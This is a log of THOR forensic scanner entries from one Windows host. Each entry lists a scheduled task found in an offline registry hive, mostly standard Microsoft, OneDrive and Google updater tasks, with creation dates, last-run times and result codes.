Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6B4977F8-7DF5-42F1-AF79-C5AB6726929E} PATH: \Microsoft\Windows\InstallService\SmartRetry VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:29:53 2024 LAST_STOPPED: Tue Sep  3 09:29:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6BB5B741-69DE-4E52-914B-CBFFC52C404A} PATH: \Microsoft\Windows\.NET Framework\.NET Framework NGEN v4.0.30319 VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:10 2024 LAST_STOPPED: Tue Sep  3 02:33:13 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6BE7CEDD-0A56-4ABF-9F7F-660453CDBFE7} PATH: \Microsoft\Windows\SoftwareProtectionPlatform\SvcRestartTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 08:57:51 2024 LAST_STOPPED: Tue Sep  3 08:58:17 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6EB82CE0-3634-4004-AC48-843D88AD2BA8} PATH: \Microsoft\Windows\Management\Provisioning\RunOnReboot VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6EC94D4C-253C-43C5-983C-05656265929E} PATH: \OneDrive Reporting Task-S-1-5-21-395486425-972718290-1458454356-1001 VERSION: 3 CREATED: Tue Jun  4 02:35:22 2024 LAST_RUN: Tue Aug 13 15:11:53 2024 LAST_STOPPED: Tue Aug 13 15:13:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6F4F07F2-04A2-4C17-9CA1-200910A194A4} PATH: \Microsoft\Windows\TPM\Tpm-HASCertRetr VERSION: 3 CREATED: Mon Jun  3 20:42:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6FAC31FA-4A85-4E64-BFD5-2154FF4594B3} PATH: \Microsoft\Windows\Customer Experience Improvement Program\UsbCeip VERSION: 3 CREATED: Mon Jun  3 02:25:41 2024 LAST_RUN: Mon Sep  2 02:33:04 2024 LAST_STOPPED: Mon Sep  2 02:33:04 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {6FCE18D9-CE70-4E10-BC52-E8BF4C43FE76} PATH: \Microsoft\Windows\Kernel\La57Cleanup VERSION: 3 CREATED: Sun Jun  2 02:25:41 2024 LAST_RUN: Sun Sep  1 02:33:00 2024 LAST_STOPPED: Sun Sep  1 02:33:08 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {70570095-076B-4A52-93AE-4659EC465538} PATH: \Microsoft\Windows\WaaSMedic\PerformRemediation VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Sun Sep  1 03:41:50 2024 LAST_STOPPED: Sun Sep  1 03:42:07 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7096FD01-69C9-4F0B-890E-215E1BC14B64} PATH: \Microsoft\Windows\Sysmain\ResPriStaticDbSync VERSION: 3 CREATED: Mon Jun  3 02:25:41 2024 LAST_RUN: Mon Sep  2 02:33:17 2024 LAST_STOPPED: Mon Sep  2 02:33:17 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {70C3F267-1488-4516-BC50-1BA53E3F0A1B} PATH: \Microsoft\Windows\TextServicesFramework\MsCtfMonitor VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:00:38 2024 LAST_STOPPED: Tue Sep  3 09:00:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {725AB16C-704B-470E-9931-26D9125CED07} PATH: \Microsoft\Windows\WindowsUpdate\Refresh Group Policy Cache VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 12:20:56 2024 LAST_STOPPED: Tue Sep  3 12:21:26 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {72D8350D-2AD9-4985-B7D5-20EB350C06E1} PATH: \Microsoft\Windows\Feedback\Siuf\DmClient VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:07 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7346D9EF-5477-433C-B663-D6333B95C602} PATH: \Microsoft\Windows\GroupPolicy\{3E0A038B-D834-4930-9981-E89C9BFF83AA} VERSION: 3 CREATED: Mon Jul 22 13:09:36 2024 LAST_RUN: Tue Sep  3 16:32:24 2024 LAST_STOPPED: Tue Sep  3 16:32:29 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {734A05CE-0032-469E-8138-CEA91DA79E32} PATH: \Microsoft\Windows\Data Integrity Scan\Data Integrity Check And Scan VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {746B1E15-71AC-43FD-8BC8-C8A1E202A6DD} PATH: \OneDrive Standalone Update Task-S-1-5-21-2213792943-3978625667-3641601853-1118 VERSION: 3 CREATED: Thu Aug 29 12:17:29 2024 LAST_RUN: Mon Sep  2 13:33:30 2024 LAST_STOPPED: Mon Sep  2 13:33:42 2024 STATUS: 00000000 LAST_RESULT: 04ee0480
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {75430FD7-C2EE-4E25-A7DC-940FAA04266F} PATH: \Microsoft\Windows\PI\SecureBootEncodeUEFI VERSION: 3 CREATED: Tue Jul 23 02:48:15 2024 LAST_RUN: Tue Sep  3 09:05:09 2024 LAST_STOPPED: Tue Sep  3 09:05:09 2024 STATUS: 00000000 LAST_RESULT: 01000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {757D2BD0-8C2B-403A-B2D0-A3D73C2EDBFC} PATH: \Microsoft\Windows\Input\LocalUserSyncDataAvailable VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Thu Aug 29 12:15:16 2024 LAST_STOPPED: Thu Aug 29 12:15:49 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {764DDB74-CB08-4E0A-8580-B41F94F2C7BE} PATH: \Microsoft\Windows\UpdateOrchestrator\Start Oobe Expedite Work VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 09:13:18 2024 LAST_STOPPED: Tue Sep  3 09:13:19 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {78047350-A556-4C53-8578-7367082577BF} PATH: \Microsoft\Windows\DiskFootprint\StorageSense VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 54010480
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {783B6DB9-F677-4B5D-B83D-A5BF02CFA79C} PATH: \Microsoft\Windows\CertificateServicesClient\SystemTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 17:00:19 2024 LAST_STOPPED: Tue Sep  3 17:00:19 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {784AF2C8-E51B-4A5E-96AB-15AA8D184C48} PATH: \Microsoft\Windows\Data Integrity Scan\Data Integrity Scan for Crash Recovery VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7A8F201E-8745-48FF-B1D5-BFD3BD1EE5F2} PATH: \Microsoft\Windows\Time Synchronization\SynchronizeTime VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:07 2024 STATUS: 00000000 LAST_RESULT: 20040000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7AD275CC-8B31-488D-9CD1-E9DB1AD6BED2} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceAccountChange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 09:15:39 2024 LAST_STOPPED: Tue Sep  3 09:15:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7BA44995-BE4B-466A-95AE-090E29A6F82D} PATH: \Microsoft\Windows\Work Folders\Work Folders Logon Synchronization VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:05:39 2024 LAST_STOPPED: Tue Sep  3 09:05:39 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7D99D4B1-C2F3-4863-B58A-51495CD7C713} PATH: \Microsoft\Windows\Time Zone\SynchronizeTimeZone VERSION: 3 CREATED: Sat Jun  1 02:25:41 2024 LAST_RUN: Sat Aug 31 02:33:00 2024 LAST_STOPPED: Sat Aug 31 02:33:08 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7DAF22A5-8ECE-47E1-919A-F3096D746FC6} PATH: \Microsoft\Windows\LanguageComponentsInstaller\Uninstallation VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Jul 22 12:23:52 2024 LAST_STOPPED: Mon Jul 22 12:23:54 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {7F60B74A-8CF4-48D0-91A2-7DCA116C055F} PATH: \Microsoft\Windows\Chkdsk\ProactiveScan VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Tue Sep  3 02:33:03 2024 LAST_STOPPED: Tue Sep  3 02:33:05 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {800AF3F2-FCAD-4C3A-8B30-207D1E199724} PATH: \Microsoft\Windows\Diagnosis\RecommendedTroubleshootingScanner VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Mon Jun  3 19:46:06 2024 LAST_STOPPED: Mon Jun  3 19:46:07 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {819408A0-FD49-40E6-9DF1-2A4F71F72517} PATH: \Microsoft\Windows\Ras\MobilityManager VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {82B1C22A-B366-4596-B9C5-5F6EA1990ADB} PATH: \Microsoft\Windows\User Profile Service\HiveUploadTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8428D294-B8D7-4856-A911-6AAE5F0F9606} PATH: \Microsoft\Windows\Workplace Join\Recovery-Check VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8552C3E2-2D12-40F2-B13A-FA42D29E5719} PATH: \Microsoft\Windows\Active Directory Rights Management Services Client\AD RMS Rights Policy Template Management (Manual) VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8671A68F-C164-414A-A795-09B2F69A53F6} PATH: \Microsoft\Windows\Data Integrity Scan\Data Integrity Scan VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {87BF85F4-2CE1-4160-96EA-52F554AA28A2} PATH: \Microsoft\Windows\Autochk\Proxy VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Tue Sep  3 09:53:53 2024 LAST_STOPPED: Tue Sep  3 09:53:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8A9C643C-3D74-4099-B6BD-9C6D170898B1} PATH: \Microsoft\Windows\CertificateServicesClient\KeyPreGenTask VERSION: 3 CREATED: Tue Jun  4 02:25:40 2024 LAST_RUN: Mon Sep  2 18:06:17 2024 LAST_STOPPED: Mon Sep  2 18:06:17 2024 STATUS: 00000000 LAST_RESULT: 30000980
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8AD0C8A3-C7AC-4D34-B4C7-041DA757A671} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceLocationRightsChange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8BCE81B4-3351-45E4-A526-802459DBA4F7} PATH: \Microsoft\Windows\PI\Sqm-Tasks VERSION: 3 CREATED: Tue May 21 20:42:41 2024 LAST_RUN: Thu Aug 22 14:32:53 2024 LAST_STOPPED: Thu Aug 22 14:32:53 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8C179E55-B19F-4441-8C65-6635FCA3F188} PATH: \Microsoft\Windows\WindowsUpdate\Scheduled Start VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8C2E9C62-8331-4C94-AEE5-AF03005EBB79} PATH: \Microsoft\Windows\CertificateServicesClient\CryptoPolicyTask VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8F2E72BD-4C76-4B00-BC86-679E5342E6E2} PATH: \Microsoft\Windows\DeviceDirectoryClient\RegisterDeviceSettingChange VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Jul 22 12:59:54 2024 LAST_STOPPED: Mon Jul 22 12:59:54 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8F3ABEAA-F760-4127-9725-9595CC6AD7B7} PATH: \GoogleSystem\GoogleUpdater\GoogleUpdaterTaskSystem130.0.6679.0{A6D13657-E13D-4326-A3BC-FF41716EE02B} VERSION: 3 CREATED: Wed Aug 28 07:20:01 2024 LAST_RUN: Tue Sep  3 16:25:01 2024 LAST_STOPPED: Tue Sep  3 16:25:01 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8FC62341-782D-4627-B9A8-4FA8653925A8} PATH: \Microsoft\Windows\Plug and Play\Sysprep Generalize Drivers VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: Mon Jun  3 20:45:47 2024 LAST_STOPPED: Mon Jun  3 20:46:17 2024 STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {8FDF9F7F-07CD-4546-8A96-EAE9A4B9AE95} PATH: \Microsoft\Windows\Sysmain\HybridDriveCachePrepopulate VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {90C8B444-7047-4B72-B79A-3F855D55F7FC} PATH: \Microsoft\Windows\Sysmain\HybridDriveCacheRebalance VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
Sep 10 12:44:50 WIN-LRTT94FA08M/10.100.5.12 THOR: Info: MODULE: RegistryHive MESSAGE: Scheduled task found SCANID: S-BxzYg1khKSI HIVE: E:\Windows\System32\config\SOFTWARE REGISTRY_PATH: ROOT\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks GUID: {90F08AF8-9718-4B22-B9B1-C10018C5A866} PATH: \Microsoft\Windows\InstallService\WakeUpAndScanForUpdates VERSION: 3 CREATED: Tue Jun  4 02:25:41 2024 LAST_RUN: never LAST_STOPPED: never STATUS: 00000000 LAST_RESULT: 00000000
